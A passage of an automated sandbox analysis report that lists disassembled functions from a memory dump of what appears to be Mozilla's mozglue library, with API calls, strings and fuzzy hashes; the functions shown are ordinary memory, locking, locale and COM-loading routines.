moz_xmalloc.MOZGLUE(80000023,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B79A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 655147a9bd0646decdd5681d836d5afc50ea69c6680824fcb028d595938f3395
Instruction ID: e78ff7fd07f15ff63ddc84632b6a09bb3dfd767d6a13f7bcac6ab6f3ca227e5e
Opcode Fuzzy Hash: 655147a9bd0646decdd5681d836d5afc50ea69c6680824fcb028d595938f3395
Instruction Fuzzy Hash: 3C41B4B2D001159FCB04EF68DC845AEB7B5FB84324F65066AE825E7790E731AD148BE1

Function 6C55EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C5D5104), ref: 6C55EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C55EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C55EFEC
free.MOZGLUE(?), ref: 6C55F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C55F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C55F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55F065
moz_xmalloc.MOZGLUE ref: 6C55F072

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 89f1498d28517e65b3665d8d7a91390d163f5833fc9c73707d55da2e73a49bcd
Instruction ID: f1a61e01b8465b09c070de475f8ba350cf2a7abdca383911588e6c780aa8ca2f
Opcode Fuzzy Hash: 89f1498d28517e65b3665d8d7a91390d163f5833fc9c73707d55da2e73a49bcd
Instruction Fuzzy Hash: B341D6B1A002059FCB08CF68DC809AE7769EF84314B64072DE826DB7A4EB71ED15C7E1

Function 6C5CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C5CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5CB5F4
__Init_thread_footer.LIBCMT ref: 6C5CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C5CB61F
std::_Facet_Register.LIBCPMT ref: 6C5CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CB655

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 4eda8b2bbb845cf2c9b39eee7f5c142a6c1fc5565261e761b42b6dff9925c067
Instruction ID: 33dfc87f5fd9f7d7426ac3f086afcbcb3a53704cc005021088f186ad029ad5ed
Opcode Fuzzy Hash: 4eda8b2bbb845cf2c9b39eee7f5c142a6c1fc5565261e761b42b6dff9925c067
Instruction Fuzzy Hash: E3316475B00215CBCF00FFA9CC549AEB7B6EB8A325B160519D90697740DB31BD06CB9A

Function 6C596590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C58FA80: GetCurrentThreadId.KERNEL32 ref: 6C58FA8D
Part of subcall function 6C58FA80: AcquireSRWLockExclusive.KERNEL32(6C5DF448), ref: 6C58FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C596727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5967C8

Part of subcall function 6C5A4290: memcpy.VCRUNTIME140(?,?,6C5B2003,6C5B0AD9,?,6C5B0AD9,00000000,?,6C5B0AD9,?,00000004,?,6C5B1A62,?,6C5B2003,?), ref: 6C5A42C4

Strings

v]l, xrefs: 6C59696C
data, xrefs: 6C596593

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v]l
API String ID: 511789754-429172569
Opcode ID: 1b59c9a699d0765306c1695e620b931068c1d6bfdfac1ae8ca5516e16094a4ce
Instruction ID: 58c71a7c7bc41bd13b4ec81e29e0336b37fc44949cc595428b104e7f5879c431
Opcode Fuzzy Hash: 1b59c9a699d0765306c1695e620b931068c1d6bfdfac1ae8ca5516e16094a4ce
Instruction Fuzzy Hash: 8FD1BB75A04380CBD764DF65CC50B9EB7E6AFC5308F10492EE489C7B91EB30A949CB92

Function 6C58D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C55EB57,?,?,?,?,?,?,?,?,?), ref: 6C58D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C55EB57,?), ref: 6C58D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C55EB57,?), ref: 6C58D673
free.MOZGLUE(?), ref: 6C58D888

Strings

WUl, xrefs: 6C58D5D9, 6C58D63F
|Enabled, xrefs: 6C58D81E

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WUl$|Enabled
API String ID: 4142949111-363587195
Opcode ID: 44c3976efaa7c29b037564b624bae878fc11b693b0b6c2362c8a7746566ea782
Instruction ID: bf7427b1a21c9da52a98facc32f8f48013306c6335167031c4d8c9432284d09d
Opcode Fuzzy Hash: 44c3976efaa7c29b037564b624bae878fc11b693b0b6c2362c8a7746566ea782
Instruction Fuzzy Hash: 68A1F270A023199FDF11CF69CC807AEBBF1AF49318F58815ED885AB741D734A845CBA1

Function 6C569830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C5B7ABE), ref: 6C56985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C5B7ABE), ref: 6C5698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C569909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C569918
free.MOZGLUE(?), ref: 6C569975

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 1d6956f6bca1ba408f6de4eef6b21722d8c4cc6c18ba5c4a949c42e97858b2ef
Instruction ID: 8992dddcaf2c751406b123982a6591c0c751553f7125851faa7670ae4e8723f9
Opcode Fuzzy Hash: 1d6956f6bca1ba408f6de4eef6b21722d8c4cc6c18ba5c4a949c42e97858b2ef
Instruction Fuzzy Hash: 90718AB46047068FC725CF29C880956B7F1FF8A3247644AADE85A8BFA0D731F845CB91

Function 6C56B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE,?,?,6C59DC2C), ref: 6C56B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE,?,?,6C59DC2C), ref: 6C56B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE), ref: 6C56B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5ACC83,?,?,?,?,?,?,?,?,?,6C5ABCAE,?,?,6C59DC2C), ref: 6C56B896

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 056de08eb871c68b9fb156eacd572af6206505577feea03f113616a50001aa87
Instruction ID: c4f2494be7dc27da0a316b50a3b993aed61b8b9c4701dbf64ccdf70c48e6235d
Opcode Fuzzy Hash: 056de08eb871c68b9fb156eacd572af6206505577feea03f113616a50001aa87
Instruction Fuzzy Hash: 9B5180357006008FCB15EF5AC884A6AB7F6FF89318B59895DE98697761C731EC01DB84

Function 6C5A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5A1BE3,?,?,6C5A1D96,00000000), ref: 6C5A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5A1BE3,?,?,6C5A1D96,00000000), ref: 6C5A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5A1DDA

Part of subcall function 6C5A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5A1F03
Part of subcall function 6C5A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5A1DF2,00000000,00000000), ref: 6C5A1F0C
Part of subcall function 6C5A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5A1DF4

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 00b1f788fcbd380a476260b25825ae495a5768b00c17d04e5d5e0f89903c8f36
Instruction ID: 25f008767afdc903688e1ed0f56605bc52b7300379996a52ae814dc8e443967d
Opcode Fuzzy Hash: 00b1f788fcbd380a476260b25825ae495a5768b00c17d04e5d5e0f89903c8f36
Instruction Fuzzy Hash: CB4165B5200701DFCB10DF69C888A5ABBF9FB89314F11442EE99A87B41DB71F854CB99

Function 6C5984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5985AC

Part of subcall function 6C597670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C59767F
Part of subcall function 6C597670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C597693
Part of subcall function 6C597670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5985B2

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 13e0c421b280945afeca5ec8f038e0b20642a558869ce784dd61fcbded614d9b
Instruction ID: 7790f20cb0060cab3f0587531388ee39d5f64b74c2895f6d6fd27d204333c4dc
Opcode Fuzzy Hash: 13e0c421b280945afeca5ec8f038e0b20642a558869ce784dd61fcbded614d9b
Instruction Fuzzy Hash: D0218E74201741AFDB14DB28CC88A5AB7B5AF8430CF25496DE55BC3B42EB31F948CB56

Function 6C561640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C561699
VerSetConditionMask.NTDLL ref: 6C5616CB
VerSetConditionMask.NTDLL ref: 6C5616D7
VerSetConditionMask.NTDLL ref: 6C5616DE
VerSetConditionMask.NTDLL ref: 6C5616E5
VerSetConditionMask.NTDLL ref: 6C5616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5616F9

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 33ae376971f5597daaab1e4c9706fecd7a99a1b91fa6f4ee858dfe557460f92a
Instruction ID: 526b77df5e862dd1dceb026e453135b66609040d30f38f6192238c850f1e5f76
Opcode Fuzzy Hash: 33ae376971f5597daaab1e4c9706fecd7a99a1b91fa6f4ee858dfe557460f92a
Instruction Fuzzy Hash: 182102B07403086BEB106A68CC85FBFB3BCEFC6704F014528F6459B6C0C6B8AE44C6A5

Function 6C59F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C59F598), ref: 6C59F621

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59F637
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F645
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C59F62A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: a866f9a511bb9592c761aaec4432632335a46dc0686eb6ea71a9e43dcec82f61
Instruction ID: 2481b51afec9d4fca265a5e7bf36deed4a98e3a320a62fbefe75e73124dd186e
Opcode Fuzzy Hash: a866f9a511bb9592c761aaec4432632335a46dc0686eb6ea71a9e43dcec82f61
Instruction Fuzzy Hash: DD11C171201305EBCA00AF59CC489A5777AFB86359B550155FA0583F01CB72BC11CBAD

Function 6C562070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

LoadLibraryW.KERNEL32(combase.dll,6C561C5F), ref: 6C5620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5620CD
__Init_thread_footer.LIBCMT ref: 6C5620E1
FreeLibrary.KERNEL32 ref: 6C562124

Strings

CoInitializeSecurity, xrefs: 6C5620C7
combase.dll, xrefs: 6C5620A9

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 94ae72decde3747a11dcbcef5a49422d9cf3b3f1bcc1f1939865b4bdf292c3d7
Instruction ID: 2f311812beb013c95eb392292f4e81b5c926adb29ebeacd9429e34781d6d443f
Opcode Fuzzy Hash: 94ae72decde3747a11dcbcef5a49422d9cf3b3f1bcc1f1939865b4bdf292c3d7
Instruction Fuzzy Hash: 6A21CF36200309EFDF00CF9ADC48D8A3FB6FB4A325F028214FA0092A61D731A861DF58

Function 6C5B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C5B7705

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C5B778F,00000000,00000000,00000000,00000000), ref: 6C5B7731
free.MOZGLUE(00000000), ref: 6C5B7760

Strings

}>Yl, xrefs: 6C5B76C4

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Yl
API String ID: 2538299546-3113854121
Opcode ID: ebf6555db7841783a4e7fc043384b3ed27c0c3989b3be18be6f0752cce1ad3b7
Instruction ID: 35f2bbd3884e0e886ebd44c2ce854bfd27a4b97ff89962b58128950015440e73
Opcode Fuzzy Hash: ebf6555db7841783a4e7fc043384b3ed27c0c3989b3be18be6f0752cce1ad3b7
Instruction Fuzzy Hash: 5811B6B1900315ABDB10AF768C44B6B7EE8EF45354F044429F848A7300E7709C4087F2

Function 6C561FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C561FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C561FFD
__Init_thread_footer.LIBCMT ref: 6C562011
FreeLibrary.KERNEL32 ref: 6C562059

Strings

combase.dll, xrefs: 6C561FD9
CoCreateInstance, xrefs: 6C561FF7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2dc734d1f5211c225574fdfba55ac9fad9a4ffe34979f2a91728537a0004d70c
Instruction ID: 60c460a566ed4d804833e17fb5b0457405d6d95b9a359a21597768b628d17c52
Opcode Fuzzy Hash: 2dc734d1f5211c225574fdfba55ac9fad9a4ffe34979f2a91728537a0004d70c
Instruction Fuzzy Hash: AD114C75201305EFDF10DF56CC4DE9A3B79EB8A365F028629E90592A51D731B800DBAD

Function 6C560EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
